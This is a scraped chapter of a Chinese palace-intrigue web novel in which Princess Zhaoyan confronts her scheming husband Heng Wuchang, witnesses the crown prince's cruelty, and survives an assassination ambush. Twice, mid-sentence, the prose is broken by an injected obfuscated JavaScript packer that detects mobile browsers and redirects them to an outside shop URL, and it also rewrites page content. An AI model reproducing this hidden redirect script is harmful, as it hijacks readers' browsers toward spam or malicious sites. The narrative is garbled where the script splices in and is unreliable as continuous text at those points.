“我只想知道真相。” 对上男人无措的、满脸疑惑的表情,朝颜耐心解了他的疑虑:“太子与周千金那日,本就是你有意设局吧。” 衡无倡不理解她这个重复性的问题,凤眸直勾勾盯着她,像是山野中一只快要发怒的恶狼,语气多了丝不耐烦:“都已是过去许久的事了,你为何总执着那个答案呢?” “所以,答案是什么?”朝颜不惧他,大声质问道。 “就算是我设局你又能如何?” 衡无倡垂下眼睫,像看盘中餐一般,嗤笑道:“你已嫁与我为妻了,为何总惦记着那日大婚,总想着旁的男人?” “那周韫呢?” “她喜欢你爱慕你,你怎可?”朝颜难以置信看着他,摇着头后退,“你怎可拿一个女子的清白做计?” “这与公主无关。” 如此无情又淡漠的话,的确想与人撇个干净。 朝颜蓦然想起方才女人对他表明心意时,他那无所谓的冷淡模样,根本没有心。 她心中明了,道破他的目的:“若你想破坏大婚,大可以用别的法子,为何非要选择这样让人难堪的法子,你究竟是想败坏太子的名声还是想借此事将周韫一并摆脱了?” 衡无倡:“我为何要摆脱她?我与她之间本就清清白白,何来摆脱一说?” “况且流言蜚语不过是一些杂碎之人的闲话罢了,说便说传便传,伤不了人分毫,谁会怕?” 若不怕,前世他也不会为了所谓的子嗣,将她打入冷宫。 若不怕,他也不会为了重回族谱,设计与她成婚。 朝颜很想说,有人会怕,你也怕。 可话到嘴边却说不出口。 事到如今她才发现,他还是他,从未变过,他们终究不是一路人,她早该彻底断了和他有半点牵扯的念想。 朝颜一副要与自己分道扬镳,断个干净的模样,让衡无倡有点后悔自己方才激烈的言语,随之又软了下来:“公主放心,我不会做出任何伤害你的事,也会一直记着周韫的好,来日我会报答她。” 毕竟他对周韫无意,从前也只是不忍看她在家中受挫,才选择将她拉进自己这边。所以在周韫提出要帮自己的时候,他没有阻拦,任由她自作主张,一来能搅黄朝颜与太子的婚事,二来也能看她自己自救,成功从周家脱身。 本是一箭双雕的事,如今到朝颜口中,便是十恶不赦了? 他不禁开始怀疑,朝颜今日这番闹剧,是否因先前与太子培养感情的那些日子,开始念旧情了? 心底有了猜测,不弄清楚他会寝食难安。 所以他不顾朝颜抗拒,用力拉住她的肩膀,将人拽入怀中,紧紧锁住她的腰身,赌气试探道:“公主如此替他们着想,莫不是真的喜欢上那个蠢货了?” “与你无关!”朝颜费劲想逃,却动不了半分。 她不说,他偏要答案。 他不放手,她便一直捶打着他的胸膛,一下比一下用力。 二人僵持不下,衡无倡垂眸对上女人那双满是红血丝的眼睛后,心底一软,最先败下阵,声音很轻:“你的眼神告诉我,你恨我。” “为什么?” “我们从前究竟有何仇怨?” 朝颜没有说话,仍用那种看仇人的眼神看他。 那种眼神宛若腊月寒冬的冰窟,没有半点温度,让人不寒而栗。他在许多人脸上都看到过,可唯独在她脸上看到时,他心底没有愤恨,只有困惑和不舍。 她仍没说话,倔强地盯着他。 许久后,衡无倡松开了她,无奈地轻笑了声:“没关系,我们来日方长。” * 是夜,衡无倡在书房桌案前坐着,脑袋还回想着白日和女人争执的画面,而眼前却摆着那副先前他从太子府上盗来的那副画卷。 画上美人栩栩如生,姿颜绝艳,一侧茂盛的梨花在她面前都显得有几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就是朝颜。 可梦里的她与现在的她,无论是从气质还是容颜上都有些差别,现在脸上还带着些许稚气,而梦中人却是十分沉稳,也很冷淡,像是长大之后的她。 为什么他会梦到长大后的她呢? 难道是上天显灵了,在警醒他不要中了她的美人计,要时时刻刻提防她? 白日里对朝颜的质问并未得到她的答案,他心底始终还是不放心,尤其是衡宿在情爱方面确实要略胜自己一筹,府邸姬妾早在他加冠之前便成群结队,只是在求娶朝颜之前他全部遣散了。 他也是怕朝颜真的被那个蠢货蒙骗了。 经此一梦,他想到了个法子,刚好可以试探朝颜对那人的感情,也可看出她对自己是否真的有用。 * “明日巳时三刻,太子妃约您在酒肆相见。” 朝颜从侍人口中收到这个消息时,有些疑惑。 她与周韫本不相熟,也不知周韫约自己见面做什么,莫不是想解释白日里她与衡无倡的事? 不过朝颜还是想亲自确认一下她与太子之事是否是被衡无倡所胁迫,翌日早早起身,收拾妥帖戴好帷帽后去酒肆应了约。 她抵达酒肆时,周韫还未出现。 她便让掌柜领自己去了二楼的包厢,静静等着。 许是屋内太安静,也太无聊,她等着等着突然听到隔壁包厢起了争执,她开始幸灾乐祸,有点想看戏。 只闻一青年男声十分和气地说:“这位大人,本是小人先来的,那最后一盘蜜煎烧鱼也是小人先点的。小人家中母亲病入膏肓,临走前就想念这一口,不知您可否割爱?” 朝颜全神贯注地听着,一听便知是仗势欺人的戏份。 她特意屏气凝神,期待另一人如何答复。只可惜没等到另一位开口,便听到一道刀剑出鞘的声音。 朝颜心道这权贵过于霸道了些,不过是个吃食,还要争抢,眼下怕不是要闹出人命才罢休。 她正思索着,却听见一道熟悉的声音传入耳膜:“瞎了眼的狗东西,不知道本宫在此用膳么?胆敢来此叨扰,来人啊,将其拖下去乱棍打死!” 话音落下,青年男人才觉得自己惹了大人物,刹时跪倒在地,大声哭喊着:“太子殿下饶命啊!” “你母亲不过一个下等人,死就死了,与本宫何干?”衡宿怒拍桌案,言语十分狠厉。 青年男人立即接话:“太子殿下说的是,求殿下饶小人一命,是小人有眼不识泰山,小人知错了。” 朝颜听完二人的争执,眉头早就蹙成一团。 入普桑诸多时日,她从来不知衡宿对待下人居然如此严苛。 难道从前他在王宫对下人们那些和善的模样都是他装得? 那些待猫猫狗狗的良善温柔之举,都是故意在自己面前演戏? 眼看那青年要被拖出去乱棍打死,朝颜于心不忍,迅速打开包厢门,站在衡宿门前,开口相救:“太子殿下如何这么大的火气。” “大胆!殿下做事岂容尔等卑贱之人多嘴!”暗青怒吼道。 衡宿本滋滋有味地品着菜肴,在听到女人清冽的声音后便即刻抬头,看清来人是朝颜,恶狠狠地瞥了身侧男人一眼,随即笑呵呵地看向朝颜,言语和顺,“朝颜公主。” 这模样与方才天差地别,仿佛方才怒斥百姓的人不是他一般。 “公主怎么有空出府了?是不是本宫那王弟待你不好?若真是如此,公主可来我太子府寻求庇佑。”他笑着说。 朝颜朝他行了揖礼,有分寸地接过话:“多谢殿下关心,二殿下人不坏。” “你是不知道本宫那个王弟心思多深沉。” 朝颜暗道,纵使他心思再深沉,也是用在该用的地方,至少不是像衡宿这样善恶不分,恃强凌弱,仗着自己的身份欺压百姓。 今日这出戏,朝颜看过之后,心底对衡宿多了些厌恶。 衡宿想将朝颜的注意力移开,便又问道:“公主不在府上享受新婚之喜,独自来这儿做什么?” “太子妃邀我来此见面。” “太子妃?”衡宿疑惑,自问自答:“你是说周韫啊。” “可她今日早早便回了周府,说是回娘家省亲,没十天半月不会回来,你是不是听错消息了。” 衡宿开始狐疑,朝颜眼眸一转,便想到了应对之策,怕衡宿纠缠,便主动解释:“想来是侍人们传错了,既如此,我先回府上了,殿下请自便。” 她作势要离开,走了两步又转过身来,提醒男人道:“对了殿下,恕我多嘴。此处人多眼杂,殿下还是莫要行事太过显眼,免得流出去些疯言疯语,对殿下影响不好。” 被爱慕的女人发现自己这副模样,衡宿有些脸红,咳嗽一声后,接了话:“公主说得是。” “还不快放人!” “是,殿下。” 青年男被救下后,对朝颜磕了几个头便灰溜溜跑了。朝颜简单拜别衡宿后,也没再回包厢等人,自己下了楼。 从酒肆离开,朝颜坐上回府的车架便开始回想是哪个侍人传给她来此赴约的消息,细细想了才觉得当时那侍人说话吞吞吐吐,十分不妥。 这其中多半又是衡无倡的手笔。 尤其是她恰好坐在那个包厢,又恰好撞破衡宿的真面目。 太过巧合,她怎能不疑? 不过今日之事也并非坏事,倒是让她认清一个人,也长了教训。 一想到衡煜和衡宿这对父子的真面目,她好像逐渐开始理解衡无倡前世弑父杀兄的做法了。想到衡煜大婚那日对衡无倡一口一个卑贱之人,再到如今发现他对待百姓的苛刻模样,很难不让人杀之而后快。 前些时日还会惦念衡宿待自己的好,怕他身死的结局还会发生,总会对他心生怜悯,可如今一想,许是可怜之人都有可恨之处吧。 亏得她先前还觉得衡宿本人不坏只是愚蠢,此刻才发现自己思想太过单纯,是最愚蠢的那个,只看表面便被其迷惑,太好骗了。 一边被衡宿骗,一边被衡无倡下套。 想到这儿,她恍如幻梦破灭般清醒,决定从此之后明哲保身,不再掺和他们之间的国恨家仇,任他们自生自灭吧。 谁登王,谁死谁活她都不管了,大不了大战时她带陈诗跑得快些,躲开这些是是非非。 80. 旧忆重现(四) 辘辘的车轮声夹着急躁的马蹄声一同回荡在耳边,将朝颜本就不平静的心也衬得如热汤一般沸腾。 直至车架驶过长街小巷,停在府邸前的朱门,朝颜才想起那日只顾着和衡无倡争论,竟将正事忘在脑后。 她虽很不情愿再主动与他牵扯,但眼下还有事求于他,只能暂且忍一忍。 入了府邸,朝颜便直奔衡无倡常居的书房而来,那人就近在眼前,她却在门口犹豫起来。 想叩门的手抬起又放下,足足反复了三四回。 就在她准备放弃想回去的时候,忽然听到木门咯吱一声,有人从里面拉开门走了出来,她定睛一看,正是衡无倡。 男人高大的身影立在门槛处,狭长的眸子定格在她举上半空的手上,微微挑了挑眉,打趣道:“我观殿下在屋外徘徊许久了,怎么,找我有事?” “莫不是想毁约,愿意与我做夫妻了?” 他有意将那次争吵忘却,给彼此台阶下,说话都比从前风趣了些。 可不提便罢,一提朝颜便觉气不打一处来。 满腔怒火无处发泄,实在没心思听他在此处调笑,便仗着自己有理有据,率先指出他的不是:“还请二殿下日后不要再玩一些无聊的把戏。” “公主的话在下怎么有些听不懂。” 言罢,朝颜直直看着他,冷笑一声道:“你假借周韫的身份特意传消息让我去酒肆,是别有用心吧?” “你故意让我看见衡宿的真面目,是想试探我对他还有几分真心?还是想让我看见他的不堪,彻底放弃他向你投诚?” 看着女人气势汹汹的样子,衡无倡无奈叹了口气,随即摇摇头,快步绕过她身侧,站到院中烈日下,瞥着正从树上缓缓落下的枯枝败叶,眉头一簇,淡淡地接了话:“公主此言差矣,毕竟你从未看上过他,何来放弃一说?” 朝颜厌恶被他玩弄的感觉,所以她也不想继续软弱下去。 见衡无倡又故意撇开话题,在找借口搪塞,她甩了下衣袖,行至他身前对上那双带着算计的眸子,直截了当地揭穿了他:“殿下想让我帮你做什么可明说,不必再费尽心思试探我了。” 话毕,衡无倡嘴角勾起一抹不被人察觉的笑。 要知道,他一早就在等她这句话了。 所以他也不准备继续装无辜了,捏起落在肩上的枯叶,将其在手心碾碎再丢下,动作熟练又迅速。 朝颜看得莫名其妙,便听到男人淡漠的语气中带着丝笃定:“公主那样聪慧,应该知道我想要什么。” “我不知道!” 话音落下,二人沉默着僵持了半刻。 远处明朗的天猛地变了脸,炎炎烈日骤然消散,而乌云正以迅雷不及掩耳之势席卷整片天空,试图取而代之。 察觉到天象异常的灰雁在空中四处乱飞,连着鸣叫数声,离他们愈来愈近,仿佛在警醒什么。 他们被鸣叫声吸引,共同抬眸看天。 不多时,刮来一阵冷风,将二人衣摆吹得猎猎作响,乌云已移到头顶,他们仍站在原地没动,心中各怀鬼胎。 阴天风急,发丝被吹得四处飞扬,鬓角一缕乌发勾住了鼻尖,朝颜感觉有些痒,她将要抬手去撩,男人便微微侧身靠近她。 朝颜没动,衡无倡顺势将下巴悬在她肩头处,声音宛若鬼魅,轻飘飘地灌入她的耳中:“若我说,我要你杀了衡宿呢?” 焦热的体温透着轻飘飘的语气传过来,像个巨大的手掌将朝颜整个人紧紧包裹住,窒息的感觉深入骨髓,冷风紧随其后从脖颈窜进身体,她忍不住打了个冷颤。 一个抬眼对上他带着杀意的眼神,就快要无法呼吸。 许是对他前世的记忆犹在,朝颜无法控制,只能任由恐惧从脚底漫延至四肢百骸。 雨悄然落下,像是救人于水火一般。 朝颜察觉面上一凉,率先向后撤了脚步躲去屋檐下,背过身不再看他,经过他时口中大喊了句:“抱歉,做不到。” 她拒绝得如此干脆果决,衡无倡有些不明所以,紧紧盯着她的背影。 朝颜回头便见原本信誓旦旦的男人愣在那处,都忘记要避雨,登时感觉男人被自己骗到了。 她就这样看着他,刹时笑了下,慵懒地倚靠在门边,面上早已褪去方才的恐惧,换上一副轻快的神色。 她道:“我只让你明说,可从未答应过真的要帮你做啊。” 朝颜不傻,杀人放火这类的事她是真的不能做。 更何况那人还是一国太子,她若真帮了,岂不是会落得个祸国的罪名,如此一来,她便是整个普桑,乃至两国共同的敌人。 看着男人的脸色从深沉变成窘迫,便知自己方才那几句话气到他了,白日里被他算计的怒火降了许多,心情都好了。 “我可以帮你做别的,除了杀人。”她又说了句。 “不过你要答应我,今后要对我有求必应。若最后你真走到夺权那一步,你要提早签下和离书放我和媵妾们离开,我保证不对外多说一个字,届时咱们桥归桥路归路。” 朝颜自顾自说这些话时,衡无倡才一步步走到她身侧。 听人说完后,他仿佛听到了个天大的笑话,皮笑肉不笑:“公主殿下当这儿是华纪?还是把我们的交易当作儿戏?” “殿下如此单纯,倒显得我不近人情了。” 带着压迫的视线在朝颜那无辜的眼神上略过后,他转头看向屋内,声音沉沉的:“事到如今你还不明白,在你答应嫁我为妻的那刻,我们早已是夫妇一体,分不开了,你只能帮我。” 说完,他特意回过头,“反之,你猜衡煜和衡宿会不会放过你。” 他真的很会拿捏人心,一边软言软语,一边威胁算计。 不过他的话很有道理,朝颜后知后觉,以那父子二人嚣张的个性,定不会像衡无倡这般,还能站在此处安分听自己说这些话。 看朝颜冷静下来去深想,他又道:“至于殿下方才的要求,我可以答应。” “你想要什么尽管提,能满足的我便不会亏待你。” 他都如此说了,朝颜想起自己来找他的目的,便迅速借机提了要求:“明日寒衣节,我要你带我一起出城。” 出城需要符节,而符节只有衡无倡有,她既不能偷也不好意思明抢,就只能张口找他要。 她方才在路上便已经设想过了,自己人生地不熟,做任何事都没法一心一意,在脑子里一番斗争后,决定求助于他这个名义上的夫君。 毕竟羽堇不能随意现身,槐夏和陈诗又是弱女子,而衡无倡恰好是普桑人又会武,比较之下,他更稳妥。 知晓朝颜不会轻易开口,衡无倡也没多问她,点头答应了。 * 华纪战神战死可不是好事,在娄卿旻解决华纪内乱之前,朝颜也不打算暴露此事。她便一直忍着憋着,纵使是出城焚烧寒衣,她也没留下任何关于朝旸身份的物件。 她不知晓兄长的墓立在何处,便只能在华纪和普桑边境交界处的地方为其焚寒衣与五色纸。 有衡无倡在,他们出城这一路畅通无阻,十分顺利。 朝颜怎么也没想到,他们会在回城的路上遭遇刺客。 二人在车内谈话间,忽然听到一阵稀嗦的杂音,衡无倡最先察觉出不对劲,撩开车帘向外探去,只眨眼的片刻,一群黑衣蒙面人从高树上跃下,手持兵刃,将前方驾马的车夫一箭穿喉,射杀致死。 彼时朝颜正坐在车厢一侧,看着对侧男人的面色逐渐冷到极致,她也有了危机感。 他们此行并未带太多人手,听衡无倡所言,只有两三个暗卫在暗中保护。 所以这场恶战他们需要亲自上场。 衡无倡放心不下朝颜,观察四周后,寻到合适的位置便拉着她的手臂将她从马车内甩了出去。 在此之前他还特意喊了句:“危急时刻定要拿起武器自保。” 朝颜被他甩到树上,来了一个踉跄。 抬眼便见衡无倡飞身而出,带着他的暗卫,与数十名刺客纠缠在一起,刀光剑影,煞气四泄,面对许多人一齐进攻,他仍然不落下风。 因着前世记忆在,朝颜相信男人的武力,便毫不客气地自己躲在粗壮树干后盯紧打斗的人群。 她不明白究竟是谁要杀他们。 不过刚成婚几个月,就如此迫不及待么? 不知是巧合还是故意为之,朝颜思索时,忽然有个刺客朝自己这边奔来,朝颜吓得向一侧跑,却被一具尸体绊倒在地。 危机四起,她不敢过多犹豫,想到男人方才的叮嘱,她放眼四处搜寻保命之物,突然看见尸身旁边躺着一把长弓,她迅速拾起。 许是肌肉记忆,她回想起从前在燕国时娄卿旻教过她箭术,心底有了主意。 到底是初次应战,她也不知能否射中。 事到如今,只能赌一把了。 慌乱中她心下一狠,后退几步抬起长弓,用力拉出一箭,嗖的一声,长箭划破长空,直冲刺客而去,刺客侧身一躲,不料却被射中大腿,鲜血直流,他疼得呜咽了一声,捂着大腿跪倒在原地。 其中一个暗卫眼尖,见朝颜涉险,大喊了一声:“夫人!” 衡无倡听到这声喊叫,顿时心乱如麻,怕朝颜遇险,他便放弃跟眼前人纠缠,立刻翻了个跟头躲过对方一击后跑过来将中箭的刺客一剑刺死。 刺客倒地后,衡无倡迫不及待回头看了她一眼便又继续投身战斗中,看女人的那一眼里,带着一股意味深长。 而这边的朝颜还沉浸在自己射中人的恐惧中,拉弓的手都是抖得。 纵使活了两次,这还是她第一次亲手杀人,虽不是她杀死的,但她却是帮凶。毕竟是活生生的人,她着实有些害怕。 衡无倡自幼习武,为保命杀过不少人,所以杀点人不在话下。 暗卫也不是吃素的,他们废了些功夫将人斩杀后,只留下一名刺客的命,只一个眼神,暗卫便奉命紧紧用绳子绑住刺客的手脚。 为阻止他咬舌自尽和服毒,衡无倡特意提前出手将男人的下巴打断,看他满口吐血的可怜模样,他眼底没有半点温度。 解除危机后暗卫自觉退离,衡无倡本想追问刺客是谁派来的,可在看到对方腰间那熟悉的玉饰后,一下便猜出背后指使之人。 他觉得无趣至极,不想追问刺客,转而将躲在远处还在震惊中的朝颜拽着胳膊拉了过来。 刺客被折磨一番后,已经满脸恐惧。 衡无倡轻蔑地瞥了眼刺客,将朝颜拉到自己身前,指着脚下躺着的男人对她说:“来,杀了他。” “不行,我做不到!” 朝颜头摇得很快,拨浪鼓似得。 方才射中人的那股劲儿还未缓过来,眼下朝颜不太敢对一个活生生的人痛下杀手。尤其是那人还一脸恳求地看着自己,她便更于心不忍。 从前也经历过被人追杀,可到底她从未亲自出手过,便觉得没什么。可真正动手杀人的时候,她才觉到害怕,畏惧,不敢动手。 杀惯敌人的衡无倡却不以为然,强硬地拽着她的手臂,将腰间短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17409798|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刃解下塞进她手心,声音冷得像块冰:“不敢杀人者,必被人杀之。” “若今日无我,你只有死路一条。” 衡无倡说话间,有力的手臂压在她背后禁锢着她不让她逃离,一只手帮她拿匕首,另一只手则捏着她的下颌,迫使她直视刺客,言语间带着浓郁的戾气:“看他那恐惧的眼神,多么大快人心啊!这是属于你的战利品,你该高兴才是,怕什么,杀了他!” 话毕,他压着她的手向刺客心脏处靠近,威胁道:“若你这次心慈手软,来日便会落得和他一样的下场!” 利刃划破衣衫,逐渐向皮肉刺去,刺客双眼瞪大,近乎快要脱落出来,朝颜对上那双带着震恐的眼睛,再也无法忍受衡无倡这折磨人的恶趣,用力将男人的手臂和匕首一齐推开。 看着女人胆小如鼠的模样,衡无倡眼底蒙上淡淡的讽,冷笑出了声。 “我做不到,真的做不到。” 朝颜摇头看他,急得眼底红了一大圈。 但她又不想在他面前哭,于是硬生生将泪花憋了回去。 衡无倡:“朝颜,你可真是个胆小鬼。” “你就是被人保护得太好,他都要杀你了,你还这样心慈手软。” 地下的刺客见二人争论,以为自己机会来了,还想趁机逃走,哪知衡无倡注意力一直在他身上,见他有了动作,便面无表情地一脚将地下长剑踢起,握住剑柄后,硬生生朝他的心脏处刺了一剑,力道极狠。 刺客痛得惨叫了一声,口吐鲜血,不过瞬间便断了气。 朝颜看完男人如此利落地杀人,心底更加畏惧,后退了一步。 她本以为这个年龄的衡无倡还会带着些孩童心性,不是日后杀人如麻的他,可直到今日她才发现,人的根早在出生时便已经定在深深的地底,没法拔出也不会轻易改变。 尸身横七竖八地罗列着,兵器丢得满地都是,枯叶顺风而下,盖在残骸上,鲜红的血迹与前几日留下的泥泞雨水混在一起,早已分不清到底是什么。 忽略掉那股血腥之气,倒像是一副战士为国捐躯的悲壮场面。 只可惜,这只是一场同盟之间互相残杀的笑话罢了。 衡无倡瞥着地下残局,又看向不断后退的朝颜,平静地勾了勾唇,凤眸里带着不容侵犯的威严。 “这下我们是彻底要绑在一起了,你躲不掉的。”他对着天空盘旋的乌鸦,忽然说。 朝颜知道他在跟自己说话,可她却不想接话。眼看男人朝自己这边走来,她激烈地开口:“别过来!” 他不听,继续靠近。 “朝颜,别装了。其实你没那么软弱,你本可以做到的。就像你方才射出的那箭一样,只需把箭头的位置换到这里。”说完他指了指自己心脏的位置,邪恶地笑了:“他就会咽气。” 而之所以她不愿做,也不是因为什么可笑的圣母心,而是她不想和他的手一起杀人,她不想站在自己这边。 不过纵使她再抗拒,经此事之后,她也不得不与他一起了。 朝颜听出他的言外之意,也不答话,只想装聋作哑。 可他二人都心知肚明,从此之后没有他和她,有的只是他们。 他不顾她的反抗,捏着她的肩膀将她揽入怀里,送回马车上。 朝颜则透过布帘的缝隙看着马夫血流不止的尸身,眼底带着遗憾与后悔。 早知会这样,还不如不带他一起来,如今倒是害了他。 衡无倡顺着她的视线看去,读懂她的意思,随即吹响信号,暗卫循声即刻赶到马车前,他瞥了车内还在愣神的女人一眼,低声吩咐众人务必给马夫好好安葬。 解决了此事,二人便一同驾马车回城了。 衡无倡在外面驱马,朝颜则坐在车架内平复心神,看着窗牖外不断闪过的树影,她反复捏着衣角,思索了许久,终于恢复理智。 她不能继续颓废下去,于是掀起帘子主动问他:“你说刺客会是谁派来的?” 衡无倡斩钉截铁道:“衡宜珖的人。” “你为何会知晓?” “若你如我一般,从小到大经历过无数次刺杀,便会知晓了。” 原来衡宜珖竟这样容不下他吗? 以至于都半点不顾华纪公主的情面,也要一起杀掉? 或者说,自她成婚那刻起,她就不再是什么华纪公主,而是衡无倡的妻子,他们的眼中钉肉中刺。 朝颜深思着,衡无倡也是旁观者清,手中拉着马的缰绳,催马儿前行,冷不丁道了句:“不过他们此次的目的更像是朝你来的。” 若非如此,方才那些刺客也不会时时刻刻抓着朝颜不放。 一语惊醒梦中人,朝颜猛然顿悟,原本想着今后自己明哲保身,如今怕是不可能了。 这一切或许都是命中注定。 不论她嫁给普桑的太子还是二公子,她都躲不开这场王权斗争,二虎相争,必有一伤,眼下她是不帮也得帮。 衡无倡见她沉默,便又说:“她是想借刀杀人。” “若你死了,他们怀疑的第一个人便是我。” “他们巴不得你死之后将罪名推到我身上,届时我便成了两国一同缉拿的罪人,她和她的儿子便可借华纪之手一起除掉我。” 除掉他,自此便可高枕无忧了。 看朝颜如此模样,衡无倡便认定自己煽动成功了。 他垂下眼睫,盖住眼底一闪而过的诡谲。 仔细想想,他该感谢那母子二人,若不然,朝颜是不会这么快就站到自己这边的。